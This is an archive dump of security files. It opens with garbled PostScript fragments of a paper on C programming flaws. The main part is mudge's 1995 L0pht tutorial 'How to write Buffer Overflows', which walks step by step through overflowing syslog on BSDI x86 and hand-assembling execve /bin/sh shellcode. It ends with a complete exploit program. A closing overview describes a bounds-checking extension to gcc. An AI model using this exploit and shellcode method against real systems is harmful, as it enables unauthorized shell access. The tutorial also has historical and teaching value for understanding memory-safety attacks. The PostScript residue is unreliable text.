not) 95 SB 1045 1580 151 ( take pr) 150 SB 1195 1580 198 (oper care ) 197 SB 1392 1580 448 (to bounds check what ) 447 SB 1839 1580 105 (their ) 104 SB 1943 1580 262 (functions do ) 261 SB 787 1638 209 (and what t) 208 SB 995 1638 47 (he) 48 SB 1043 1638 38 (y ) 37 SB 1080 1638 113 (are pl) 112 SB 1192 1638 22 (a) 23 SB 1215 1638 99 (cing ) 98 SB 1313 1638 91 (into ) 90 SB 1403 1638 47 (va) 48 SB 1451 1638 17 (r) 16 SB 1467 1638 116 (iables) 117 SB 1584 1638 13 ( ) 12 SB 1596 1638 58 (ins) 59 SB 1655 1638 74 (ide ) 73 SB 1728 1638 105 (their ) 104 SB 1832 1638 215 (programs. ) 214 SB 2046 1638 55 (As) 56 SB 2102 1638 13 ( ) 12 SB 2114 1638 44 (us) 45 SB 2159 1638 74 (ual,) 73 SB 2232 1638 13 ( ) 13 SB 787 1697 91 (the f) 90 SB 877 1697 380 (un begins when thi) 379 SB 1256 1697 19 (s) 20 SB 1276 1697 13 ( ) 12 SB 1288 1697 223 (programmi) 222 SB 1510 1697 398 (ng mistake is made ) 397 SB 1907 1697 22 (a) 23 SB 1930 1697 14 (t) 13 SB 1943 1697 205 ( a place th) 204 SB 2147 1697 22 (a) 23 SB 2170 1697 27 (t ) 26 SB 787 1755 130 (allows) 131 SB 918 1755 13 ( ) 12 SB 930 1755 44 (us) 45 SB 975 1755 39 (er) 38 SB 1013 1755 212 ( definable ) 211 SB 1224 1755 47 (da) 48 SB 1272 1755 14 (t) 13 SB 1285 1755 22 (a) 23 SB 1308 1755 13 ( ) 12 SB 1320 1755 112 (to be ) 111 SB 1431 1755 58 (ins) 59 SB 1490 1755 39 (er) 38 SB 1528 1755 74 (ted.) 74 SB 787 1872 277 (Some commo) 276 SB 1063 1872 226 (n examples) 227 SB 1290 1872 13 ( ) 12 SB 1302 1872 75 (are:) 75 SB 862 1968 91 (\(less) 92 SB 954 1968 13 ( ) 12 SB 966 1968 22 (c) 23 SB 989 1968 64 (om) 63 SB 1052 1968 106 (mon\)) 106 SB 862 2064 69 (cha) 70 SB 932 2064 17 (r) 16 SB 948 2064 116 ( input) 115 SB 1063 2064 98 ([20];) 98 SB 862 2159 80 (gets) 81 SB 943 2159 17 (\() 16 SB 959 2159 134 (input\);) 134 SB 862 2255 98 (\(mor) 97 SB 959 2255 22 (e) 23 SB 982 2255 13 ( ) 12 SB 994 2255 192 (common\)) 192 SB 862 2351 69 (cha) 70 SB 932 2351 17 (r) 16 SB 948 2351 169 ( env[20]) 168 SB 1116 2351 14 (;) 14 SB 862 2447 276 (env = getenv\() 275 SB 1137 2447 22 (\223) 23 SB 1160 2447 28 (F) 27 SB 1187 2447 36 (O) 37 SB 1224 2447 160 (OBAR\224) 161 SB 1385 2447 17 (\)) 16 SB 1401 2447 14 (;) 14 SB 787 2564 33 (B) 34 SB 821 2564 42 (uf) 41 SB 862 2564 69 (fer ) 68 SB 930 2564 120 (overfl) 119 SB 1049 2564 61 (ow) 62 SB 1111 2564 71 (s ar) 70 SB 1181 2564 22 (e) 23 SB 1204 2564 13 ( ) 12 SB 1216 2564 63 (by ) 62 SB 1278 2564 69 (far ) 68 SB 1346 2564 61 (the) 62 SB 1408 2564 13 ( ) 12 SB 1420 2564 298 (most common ) 297 SB 1717 2564 19 (s) 20 SB 1737 2564 100 (ecuri) 99 SB 1836 2564 94 (ty pr) 93 SB 1929 2564 86 (oble) 87 SB 2016 2564 39 (m) 38 SB 2054 2564 65 ( in ) 64 SB 2118 2564 89 (cod-) 89 SB 787 2622 90 (ing. ) 89 SB 876 2622 83 (For ) 82 SB 958 2622 124 (every ) 123 SB 1081 2622 19 (s) 20 SB 1101 2622 166 (ystem\(\),) 165 SB 1266 2622 152 ( popen\() 151 SB 1417 2622 30 (\),) 29 SB 1446 2622 97 ( etc. ) 96 SB 1542 2622 176 (that you ) 175 SB 1717 2622 94 (find ) 93 SB 1810 2622 195 (in source ) 194 SB 2004 2622 22 (c) 23 SB 2027 2622 85 (ode ) 84 SB 2111 2622 113 (there ) 113 SB 787 2680 123 (are at ) 122 SB 909 2680 58 (lea) 59 SB 968 2680 46 (st ) 45 SB 1013 2680 165 (20x\222s as) 166 SB 1179 2680 13 ( ) 12 SB 1191 2680 163 (many pl) 162 SB 1353 2680 22 (a) 23 SB 1376 2680 63 (ces) 64 SB 1440 2680 13 ( ) 12 SB 1452 2680 149 (where t) 148 SB 1600 2680 47 (he) 48 SB 1648 2680 13 ( ) 12 SB 1660 2680 205 (potential f) 204 SB 1864 2680 55 (or ) 54 SB 1918 2680 91 (abus) 92 SB 2010 2680 49 (e t) 48 SB 2058 2680 155 (hrough ) 155 SB 787 2739 184 (improper) 183 SB 970 2739 476 ( bounds checking exists) 477 SB 1447 2739 13 (.) 12 SB 1459 2739 44 ( T) 43 SB 1502 2739 213 (hus is one ) 212 SB 1714 2739 69 (of t) 68 SB 1782 2739 47 (he) 48 SB 1830 2739 13 ( ) 12 SB 1842 2739 127 (great l) 126 SB 1968 2739 22 (e) 23 SB 1991 2739 124 (gacies) 125 SB 2116 2739 13 ( ) 12 SB 2128 2739 88 (that ) 87 SB 787 2797 91 (the \221) 90 SB 877 2797 33 (C) 34 SB 911 2797 17 (\222) 16 SB 927 2797 122 ( progr) 121 SB 1048 2797 177 (amming ) 176 SB 1224 2797 36 (la) 37 SB 1261 2797 157 (nguage ) 156 SB 1417 2797 22 (a) 23 SB 1440 2797 17 (f) 16 SB 1456 2797 59 (for) 58 SB 1514 2797 44 (ds) 45 SB 1559 2797 13 ( ) 12 SB 1571 2797 44 (us) 45 SB 1616 2797 13 (.) 12 SB 1628 2797 140 ( gets\(\) ) 139 SB 1767 2797 259 (and copying ) 258 SB 2025 2797 170 (environ-) 170 SB 787 2855 119 (ments) 120 SB 907 2855 13 ( ) 12 SB 919 2855 137 (are by ) 136 SB 1055 2855 102 (no m) 101 SB 1156 2855 22 (e) 23 SB 1179 2855 153 (ans the ) 152 SB 1331 2855 237 (only place f) 236 SB 1567 2855 55 (or ) 54 SB 1621 2855 123 (buffer) 122 SB 1743 2855 119 ( overf) 118 SB 1861 2855 94 (lows) 95 SB 1956 2855 13 ( ) 12 SB 1968 2855 209 (to happen.) 208 SB gr gr 1 #C statusdict begin /manualfeed false store end EJ RS %%PageTrailer %%PageResources: font Helvetica-Bold %%+ font Times-Bold %%+ font Times-Italic %%+ font Times-Roman %%Trailer SVDoc restore end %%Pages: 4 %%DocumentSuppliedResources: procset Win35Dict 3 1 %%DocumentNeededResources: font Helvetica-Bold %%+ font Times-Bold %%+ font Times-Italic %%+ font Times-Roman %%EOF  buffer-overflows/bufero.html100644 0 0 66360 6355067210 14641 0ustar rootroot L0pht Heavy Industries Services
l0pht advisories

How to write Buffer Overflows


This is really rough, and some of it is not needed. I wrote this as a reminder note to myself as I really didn't want to look at any more AT&T assembly again for a while and was afraid I would forget what I had done. If you are an old assembly guru then you might scoff at some of this... oh well, it works and that's a hack in itself.

-by mudge@l0pht.com 10/20/95

test out the program (duh).
--------syslog_test_1.c------------
#include 
char buffer[4028];
void main() {
   int i;
   for (i=0; i<=4028; i++)
       buffer[i]='A';
   syslog(LOG_ERR, buffer);
}
--------end syslog_test_1.c----------
Compile the program and run it. Make sure you include the symbol table for the debugger or not... depending upon how macho you feel today.
bash$ gcc -g buf.c -o buf
bash$ buf
Segmentation fault (core dumped)
The 'Segmentation fault (core dumped)' is what we wanted to see. This tells us there is definately an attempt to access some memory address that we shouldn't. If you do much in 'C' with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly.

Fire up gdb on the program (with or without the core file). Assuming you remove the core file (this way you can learn a bit about gdb), the steps would be as follows:
   bash$ gdb buf
   (gdb) run
   Starting program: /usr2/home/syslog/buf 
   Program received signal 11, Segmentation fault
   0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
Ok, this is good. The 41's you see are the hex equivallent for the ascii character 'A'. We are definately going places where we shouldn't be.
   (gdb) info all-registers
   eax            0xefbfd641       -272640447
   ecx            0x00000000       0
   edx            0xefbfd67c       -272640388
   ebx            0xefbfe000       -272637952
   esp            0xefbfd238       0xefbfd238
   ebp            0xefbfde68       0xefbfde68
   esi            0xefbfd684       -272640380
   edi            0x0000cce8       52456
   eip            0x00001273       0x1273
   ps             0x00010212       66066
   cs             0x0000001f       31
   ss             0x00000027       39
   ds             0x00000027       39
   es             0x00000027       39
   fs             0x00000027       39
   gs             0x00000027       39
The gdb command 'info all-registers' shows the values in the current hardware registers. The one we are really interested in is 'eip'. On some platforms this will be called 'ip' or 'pc'. It is the Instruction Pointer [also called Program Counter]. It points to the memory location of the next instruction the processor will execute. By overwriting this you can point to the beginning of your own code and the processor will merrily start executing it assuming you have it written as native opcodes and operands.

In the above we haven't gotten exactly where we need to be yet. If you want to see where it crashed out do the following:
(gdb) disassemble 0x1273
   [stuff deleted]
   0x1267 :   incl   0xfffff3dc(%ebp)
   0x126d :   testb  %al,%al
   0x126f :   jne    0x125c 
   0x1271 :   jmp    0x1276 
   0x1273 :   movb   %al,(%ebx)
   0x1275 :   incl   %ebx
   0x1276 :   incl   %edi
   0x1277 :   movb   (%edi),%al
   0x1279 :   testb  %al,%al
If you are familiar with microsoft assembler this will be a bit backwards to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax. In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles and on we go.

Note also that Intel assembler

let's go back and tweak the original source code some eh?
-------------syslog_test_2.c-------------
#include 
char buffer[4028];
void main() {
   int i;
   for (i=0; i<2024; i++)
       buffer[i]='A';
   syslog(LOG_ERR, buffer);
}
-----------end syslog_test_2.c-------------
We're just shortening the length of 'A''s.
   bash$ gcc -g buf.c -o buf
   bash$ gdb buf
   (gdb) run
   Starting program: /usr2/home/syslog/buf 
   Program received signal 5, Trace/BPT trap
   0x1001 in ?? (Error accessing memory address 0x41414149: Cannot 
	allocate memory.
This is the magic response we've been looking for.
   (gdb) info all-registers 
   eax            0xffffffff       -1
   ecx            0x00000000       0
   edx            0x00000008       8
   ebx            0xefbfdeb4       -272638284
   esp            0xefbfde70       0xefbfde70
   ebp            0x41414141       0x41414141   <- here it is!!!
   esi            0xefbfdec0       -272638272
   edi            0xefbfdeb8       -272638280
   eip            0x00001001       0x1001
   ps             0x00000246       582
   cs             0x0000001f       31
   ss             0x00000027       39
   ds             0x00000027       39
   es             0x00000027       39
   fs             0x00000027       39
   gs             0x00000027       39
Now we move it along until we figure out where eip lives in the overflow (which is right after ebp in this arch architecture). With that known fact we only have to add 4 more bytes to our buffer of 'A''s and we will overwrite eip completely.
---------syslog_test_3.c----------------
#include 
char buffer[4028];
void main() {
   int i;
   for (i=0; i<2028; i++)
       buffer[i]='A';
   syslog(LOG_ERR, buffer);
}
-------end syslog_test_3.c------------
   bash$ !gc
   gcc -g buf.c -o buf
   bash$ gdb buf
   (gdb) run
   Starting program: /usr2/home/syslog/buf 
   Program received signal 11, Segmentation fault
   0x41414141 in errno (Error accessing memory address 
                    0x41414149: Cannot allocate memory.
   (gdb) info all-registers 
   eax            0xffffffff       -1
   ecx            0x00000000       0
   edx            0x00000008       8
   ebx            0xefbfdeb4       -272638284
   esp            0xefbfde70       0xefbfde70
   ebp            0x41414141       0x41414141
   esi            0xefbfdec0       -272638272
   edi            0xefbfdeb8       -272638280
   eip            0x41414141       0x41414141
   ps             0x00010246       66118
   cs             0x0000001f       31
   ss             0x00000027       39
   ds             0x00000027       39
   es             0x00000027       39
   fs             0x00000027       39
   gs             0x00000027       39
BINGO!!!

Here's where it starts to get interesting. Now that we know eip starts at buffer[2024] and goes through buffer[2027] we can load it up with whatever we need. The question is... what do we need?

We find this by looking at the contents of buffer[].
   (gdb) disassemble buffer
   [stuff deleted]
   0xc738 :   incl   %ecx
   0xc739 :   incl   %ecx
   0xc73a :   incl   %ecx
   0xc73b :   incl   %ecx
   0xc73c :   addb   %al,(%eax)
   0xc73e :   addb   %al,(%eax)
   0xc740 :   addb   %al,(%eax)
   [stuff deleted]
On the Intel x86 architecture [a pentium here but that doesn't matter] incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0 hex. We will load up buffer[2024] to buffer[2027] with the address of 0xc73c where we will start our code. You have two options here, one is to load the buffer up with the opcodes and operands and point the eip back into the buffer; the other option is what we are going to be doing which is to put the opcodes and operands after the eip and point to them.

The advantage to putting the code inside the buffer is that other than the ebp and eip registers you don't clobber anything else. The disadvantage is that you will need to do trickier coding (and actually write the assembly yourself) so that there are no bytes that contain 0x0 which will look like a null in the string. This will require you to know enough about the native chip architecture and opcodes to do this [easy enough for some people on Intel x86's but what happens when you run into an Alpha? -- lucky for us there is a gdb for Alpha I think ;-)].

The advantage to putting the code after the eip is that you don't have to worry about bytes containing 0x0 in them. This way you can write whatever program you want to execute in 'C' and have gdb generate most of the machine code for you. The disadvantage is that you are overwriting the great unknown. In most cases the section you start to overwrite here contains your environment variables and other whatnots.... upon succesfully running your created code you might be dropped back into a big void. Deal with it.

The safest instruction is NOP which is a benign no-operation. This is what you will probably be loading the buffer up with as filler.

Ahhh but what if you don't know what the opcodes are for the particular architecture you are on. No problem. gcc has a wonderfull function called __asm__(char *); I rely upon this heavily for doing buffer overflows on architectures that I don't have assembler books for.
------nop.c--------
void main(){
__asm__("nop\n");
}
----end nop.c------
   bash$ gcc -g nop.c -o nop
   bash$ gdb nop
   (gdb) disassemble main
   Dump of assembler code for function main:
   to 0x1088:
   0x1080 
: pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : nop 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x90
Since nop is at 0x1083 and the next instruction is at 0x1084 we know that nop only takes up one byte. Examining that byte shows us that it is 0x90 (hex).

Our program now looks like this:
------ syslog_test_4.c---------
#include 
char buffer[4028];
void main() {
   int i;
   for (i=0; i<2024; i++)
       buffer[i]=0x90;
   i=2024;
   buffer[i++]=0x3c;
   buffer[i++]=0xc7;
   buffer[i++]=0x00;
   buffer[i++]=0x00;
   syslog(LOG_ERR, buffer);
}
------end syslog_test_4.c-------
Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as 3c c7 00 00.

Now the question we have is what is the code we insert from here on?

Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why someone would want to do something like this, but I hear there are a lot of nasty people out there. Oh well. Here's the proggie we want to execute in C code:
------execute.c--------
#include 
main()
{
   char *name[2];
   name[0] = "sh";
   name[1] = NULL;
   execve("/bin/sh",name,NULL);
}  
----end execute.c-------
   bash$ gcc -g execute.c -o execute
   bash$ execute
   $ 
Ok, the program works. Then again, if you couldn't whip up that little prog you should probably throw in the towel here. Maybe become a webmaster or something that requires little to no programming (or brainwave activity period). Here's the gdb scoop:
   bash$ gdb execute
   (gdb) disassemble main
   Dump of assembler code for function main:
   to 0x10b8:
   0x1088 
: pushl %ebp 0x1089 : movl %esp,%ebp 0x108b : subl $0x8,%esp 0x108e : movl $0x1080,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1083 0x10a7 : call 0x10b8 0x10ac : leave 0x10ad : ret 0x10ae : addb %al,(%eax) 0x10b0 : jmp 0x1140 0x10b5 : addb %al,(%eax) 0x10b7 : addb %cl,0x3b05(%ebp) End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: to 0x10c8: 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0 0x10c5 : jb 0x10b0 0x10c7 : ret End of assembler dump.
This is the assembly behind what our execute program does to run /bin/sh. We use execve() as it is a system call and this is what we are going to have our program execute (ie let the kernel service run it as opposed to having to write it from scratch).

0x1083 contains the /bin/sh string and is the last thing pushed onto the stack before the call to execve.
   (gdb) x/10bc 0x1083
   0x1083 :  47 '/'  98 'b'  105 'i'  110 'n'  47 '/'  115 's'  
                       104 'h'  0 '\000'
(0x1080 contains the arguments...which I haven't been able to really clean up).

We will replace this address with the one where our string lives [when we decide where that will be].

Here's the skeleton we will use from the execve disassembly:
[main]
   0x108d :        movl   %esp,%ebp
   0x108e :        movl   $0x1083,0xfffffff8(%ebp)
   0x1095 :       movl   $0x0,0xfffffffc(%ebp)
   0x109c :       pushl  $0x0
   0x109e :       leal   0xfffffff8(%ebp),%eax
   0x10a1 :       pushl  %eax
   0x10a2 :       pushl  $0x1080
[execve]
   0x10b8 :        leal   0x3b,%eax
   0x10be :      lcall  0x7,0x0
All you need to do from here is to build up a bit of an environment for the program. Some of this stuff isn't necesary but I have it in still as I haven't fine tuned this yet.

I clean up eax. I don't remember why I do this and it shouldn't really be necesarry. Hell, better quit hitting the sauce. I'll figure out if it is after I tune this up a bit.
   xorl   %eax,%eax
We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto the stack.
   jmp    0x????  # this will jump to the call...
   popl   %esi
   popl   %ecx
The call back will be something like:
   call   0x????  # this will point to the instruction after the jmp (ie
		  # popl %esi)
All put together it looks like this now:
----------------------------------------------------------------------
   movl   %esp,%ebp   
   xorl   %eax,%eax
   jmp    0x????  # we don't know where yet...
# -------------[main]
   movl   $0x????,0xfffffff8(%ebp)  # we don't know what the address will
				    # be yet.
   movl   $0x0,0xfffffffc(%ebp)
   pushl  $0x0
   leal   0xfffffff8(%ebp),%eax
   pushl  %eax
   pushl  $0x????		    # we don't know what the address will
				    # be yet.
# ------------[execve]
   leal   0x3b,%eax
   lcall  0x7,0x0
   call   0x????  # we don't know where yet...
----------------------------------------------------------------------
There are only a couple of more things that we need to add before we fill in the addresses to a couple of the instructions.

Since we aren't actually calling execve with a 'call' anymore here, we need to push the value in ecx onto the stack to simulate it.
# ------------[execve]
   pushl  %ecx
   leal   0x3b,%eax
   lcall  0x7,0x0
The only other thing is to not pass in the arguments to /bin/sh. We do this by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal 0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].

So the whole thing looks like this (without knowing the addresses for the '/bin/sh\0' string):
   movl   %esp,%ebp 
   xorl   %eax,%eax # we added this
   jmp    0x????    # we added this
   popl   %esi      # we added this
   popl   %ecx      # we added this
   movl   $0x????,0xfffffff5(%ebp)
   movl   $0x0,0xfffffffc(%ebp)
   pushl  $0x0
   leal   0xfffffffc(%ebp),%eax  # we changed this
   pushl  %eax
   pushl  $0x????
   leal   0x3b,%eax
   pushl  %ecx       # we added this
   lcall  0x7,0x0
   call   0x????     # we added this
To figure out the bytes to load up our buffer with for the parts that were already there run gdb on the execute program.
   bash$ gdb execute
   (gdb) disassemble main
   Dump of assembler code for function main:
   to 0x10bc:
   0x108c 
: pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp 0x1092 : movl $0x1080,0xfffffff8(%ebp) 0x1099 : movl $0x0,0xfffffffc(%ebp) 0x10a0 : pushl $0x0 0x10a2 : leal 0xfffffff8(%ebp),%eax 0x10a5 : pushl %eax 0x10a6 : pushl $0x1083 0x10ab : call 0x10bc 0x10b0 : leave 0x10b1 : ret 0x10b2 : addb %al,(%eax) 0x10b4 : jmp 0x1144 0x10b9 : addb %al,(%eax) 0x10bb : addb %cl,0x3b05(%ebp) End of assembler dump. [get out your scratch paper for this one... ] 0x108d : movl %esp,%ebp this goes from 0x108d to 0x108e. 0x108f starts the next instruction. thus we can see the machine code with gdb like this. (gdb) x/2bx 0x108d 0x108d : 0x89 0xe5
Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all of the instructions that we are pulling out of the execute program. You can figure out the basic structure for the call command by looking at the one inexecute that calls execve. Of course you will eventually need to put in the proper address.

When I work this out I break down the whole program so I can see what's going on. Something like the following
   0x108c 
: pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp (gdb) x/bx 0x108c 0x108c
: 0x55 (gdb) x/bx 0x108d 0x108d : 0x89 (gdb) x/bx 0x108e 0x108e : 0xe5 (gdb) x/bx 0x108e 0x108f : 0x83 so we see the following from this: 0x55 pushl %ebp 0x89 movl %esp,%ebp 0xe5 0x83 subl $0x8,%esp etc. etc. etc.
For commands that you don't know the opcodes to you can find them out for the particular chip you are on by writing little scratch programs.
----pop.c-------
void main() {
__asm__("popl %esi\n");
}
---end pop.c----
   bash$ gcc -g pop.c -o pop
   bash$ gdb pop
   (gdb) disassemble main 
   Dump of assembler code for function main:
   to 0x1088:
   0x1080 
: pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : popl %esi 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x5e
So, 0x5e is popl %esi. You get the idea. After you have gotten this far build the string up (put in bogus addresses for the ones you don't know in the jmp's and call's... just so long as we have the right amount of space being taken up by the jmp and call instructions... likewise for the movl's where we will need to know the memory location of 'sh\0\0/bin/sh\0'.

After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.

Compile the program and load it into gdb. Before you run it in gdb set a break point for the syslog call.
   (gdb) break syslog
   Breakpoint 1 at 0x1463
   (gdb) run
   Starting program: /usr2/home/syslog/buf
   Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 
			0xefbfdeac)
   (gdb) disassemble 0xc73c 0xc77f   
        (we know it will start at 0xc73c since thats right after the
	 eip overflow... 0xc77f is just an educated guess as to where
         it will end)
   (gdb) disassemble 0xc73c 0xc77f
   Dump of assembler code from 0xc73c to 0xc77f:
   0xc73c :   movl   %esp,%ebp
   0xc73e :   xorl   %eax,%eax
   0xc740 :   jmp    0xc76b 
   0xc742 :   popl   %esi
   0xc743 :   popl   %ecx
   0xc744 :   movl   $0xc770,0xfffffff5(%ebp)
   0xc74b :   movl   $0x0,0xfffffffc(%ebp)
   0xc752 :   pushl  $0x0
   0xc754 :   leal   0xfffffffc(%ebp),%eax
   0xc757 :   pushl  %eax
   0xc758 :   pushl  $0xc773
   0xc75d :   leal   0x3b,%eax
   0xc763 :   pushl  %ecx
   0xc764 :   lcall  0x7,0x0
   0xc76b :   call   0xc742 
   0xc770 :   jae    0xc7da 
   0xc772 :   addb   %ch,(%edi)
   0xc774 :   boundl 0x6e(%ecx),%ebp
   0xc777 :   das    
   0xc778 :   jae    0xc7e2 
   0xc77a :   addb   %al,(%eax)
   0xc77c :   addb   %al,(%eax)
   0xc77e :   addb   %al,(%eax)
   End of assembler dump.
Look for the last instruction in your code. In this case it was the 'call' to right after the 'jmp' near the beginning. Our data should be right after it and indeed we see that it is.
   (gdb) x/13bc 0xc770
   0xc770 :  115 's'  104 'h'  0 '\000'  47 '/'  
			  98 'b'  105 'i'  110 'n'  47 '/'
   0xc778 :  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'
Now go back into your code and put the appropriate addresses in the movl and pushl. At this point you should also be able to put in the appropriate operands for the jmp and call. Congrats... you are done. Here's what the output will look like when you run this on a system with the non patched libc/syslog bug.
   bash$ buf
   $ exit (do whatever here... you spawned a shell!!!!!! yay!)
   bash$ 
Here's my original program with lot's of comments:
/*****************************************************************/
/* For BSDI running on Intel architecture -mudge, 10/19/95       */
/* by following the above document you should be able to write   */
/* buffer overflows for other OS's on other architectures now    */
/* mudge@l0pht.com                                               */
/*                                                               */
/* note: I haven't cleaned this up yet... it could be much nicer */
/*****************************************************************/
#include 
char buffer[4028];
void main () {
   int i;
  for(i=0; i<2024; i++)
    buffer[i]=0x90;
  /* should set eip to 0xc73c */
    buffer[2024]=0x3c;
    buffer[2025]=0xc7; 
    buffer[2026]=0x00; 
    buffer[2027]=0x00; 
  i=2028;
/* begin actuall program */
    buffer[i++]=0x89; /* movl %esp, %ebp */
    buffer[i++]=0xe5;
    buffer[i++]=0x33; /* xorl %eax,%eax */
    buffer[i++]=0xc0;
    buffer[i++]=0xeb; /* jmp ahead  */
    buffer[i++]=0x29;
    buffer[i++]=0x5e; /* popl %esi       */
    buffer[i++]=0x59; /* popl %ecx        */
    buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */
    buffer[i++]=0x45;
    buffer[i++]=0xf5;
    buffer[i++]=0x70;
    buffer[i++]=0xc7;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */
    buffer[i++]=0x45;
    buffer[i++]=0xfc;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x6a; /* pushl $0x0 */
    buffer[i++]=0x00;
#ifdef z_out
    buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
    buffer[i++]=0x45;
    buffer[i++]=0xf8;
#endif
/* the above is what the disassembly of execute does... but we only
   want to push /bin/sh to be executed... it looks like this leal
   puts into eax the address where the arguments are going to be
   passed. By pointing to 0xfffffffc(%ebp) we point to a null 
   and don't care about the args... could probably just load up
   the first section movl $0x0,0xfffffff8(%ebp) with a null and
   left this part the way it want's to be */
    buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */
    buffer[i++]=0x45; 
    buffer[i++]=0xfc;
    buffer[i++]=0x50; /* pushl %eax */
    buffer[i++]=0x68; /* pushl $0xc773 */
    buffer[i++]=0x73;
    buffer[i++]=0xc7;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x8d; /* lea 0x3b,%eax */
    buffer[i++]=0x05;
    buffer[i++]=0x3b;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x51; /* pushl %ecx */
    buffer[i++]=0x9a; /* lcall 0x7,0x0 */
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    buffer[i++]=0x07;
    buffer[i++]=0x00;
    buffer[i++]=0xe8; /* call back to ??? */
    buffer[i++]=0xd2; 
    buffer[i++]=0xff;
    buffer[i++]=0xff;
    buffer[i++]=0xff;
    buffer[i++]='s';
    buffer[i++]='h';
    buffer[i++]=0x00;
    buffer[i++]='/';
    buffer[i++]='b';
    buffer[i++]='i';
    buffer[i++]='n';
    buffer[i++]='/';
    buffer[i++]='s';
    buffer[i++]='h';
    buffer[i++]=0x00;
    buffer[i++]=0x00;
    syslog(LOG_ERR, buffer);
}

Copyright 1995, 1996 LHI Technologies, All Rights Reserved
buffer-overflows/BoundsChecking.html100644 0 0 14441 6347416043 16241 0ustar rootroot Bounds Checking for C

Bounds Checking for C

Richard Jones and Paul Kelly, Imperial College, July 1995

We're very excited about this: we can check every time a program uses a pointer or array and ensure that only valid references are allowed. This isn't new: what's new is that checked code can interwork with unchecked modules, libraries and system calls. We're still working on some rough edges and on improving the performance.

This is a short overview; for a full report (and the code), see here.

C is unusual among programming languages in providing the programmer with the full power of pointers. Languages in the Pascal/Algol family have arrays and pointers, with the restriction that arithmetic on pointers is disallowed. Languages like BCPL allow arbitrary operations on pointers, but lack types and so require clumsy scaling by object sizes.

An advantage of the Pascal/Algol approach is that array references can be checked at run-time fairly efficiently, in fact so efficiently that there is a good case for bounds-checking in production code. Bounds checking is easy for arrays because the array subscript syntax specifies both the address calculation and the array within which the resulting pointer should point.

With pointers in C, a pointer can be used in a context divorced from the name of the storage region for which it is valid.

Approaches to bounds checking

One response to this analysis is to discard C, since this lack of efficient checkability is responsible for many software failures.

A second approach is to extend the language to make checking easier. There are various proposals for doing this, and it is an opportunity to add other features such as assertion checking.

A third more-or-less workable scheme is to modify the representation of pointers to include three items: the pointer itself, and the lower and upper bounds of the object to which it is supposed to point. Experience with this has shown the benefits of bounds checking (e.g. see the bcc and rtcc compilers cited below), but there are difficulties:

  • Although some optimisation is possible, execution time of the resulting code increases by a large factor (ten or more, apparently).

    Even if the checking code can be optimised away, there remains the cost of passing triples for every pointer - which essentially prevents their being allocated to registers.

  • Because the representation of pointers has been changed, checked code is incompatible with normal code. This means that special versions of all libraries and system calls must be provided, and all the constituent modules of a program must be run with checking on. This adds to the performance problem.

    Some automatic support for interfacing checked code with normal code can be given, but this only works for straightforward cases. GUI code with call-backs, for example, is tricky.

  • Code which interfaces to hardware (e.g. a DMA controller) requires special attention since the hardware must be presented with standard addresses.

How we solved the problem

Our technique provides full checking without changing the representation of pointers. We therefore avoid most of the problems noted above. Some efficiency problems remain, but bounds checking need not be used in all of the files which make up a program, so trusted, performance-critical code can run at full speed.

The key idea is this:

  • Every pointer expression derives a new pointer from a unique original pointer.

    For example, in "p+2*k+1" we derive a new pointer from "p".

    By contrast, in "p+q" or "p-q", we derive an integer from two pointers. The integer is nonsense as a pointer.

    We call this unique original pointer the expression's "base" pointer.

  • Every pointer value is valid for just one allocated storage region.

    An allocated storage region may be a global, static, automatic or heap-allocated variable, structure or array.

  • We can check whether a pointer arithmetic expression is valid by finding its base pointer's storage region, then checking that the expression's result points into the same storage region.

  • If the base pointer appears not to refer to any valid region, then it must refer to a region originating in unchecked code. In this case we cannot check the result of the expression.

  • If the base pointer's storage region is an array, say A[100], then (according to the ANSI standard) it is valid to calculate the address of the element after the last one valid (in this example, the address of A[100]).

    This is so that a pointer can be incremented and then tested for the loop exit condition.

    To prevent false alarms, we pad the storage layout of arrays to that A[100] is a valid pointer (we still check it when it is used).

Implementation

We made some small modifications to the C front-end of gcc, the Gnu C compiler, to add code to check pointer arithmetic and use, and to maintain a table of known allocated storage regions.

We went to some trouble to ensure that gcc's optimiser could handle the added code, and employed modest inlining for efficiency.

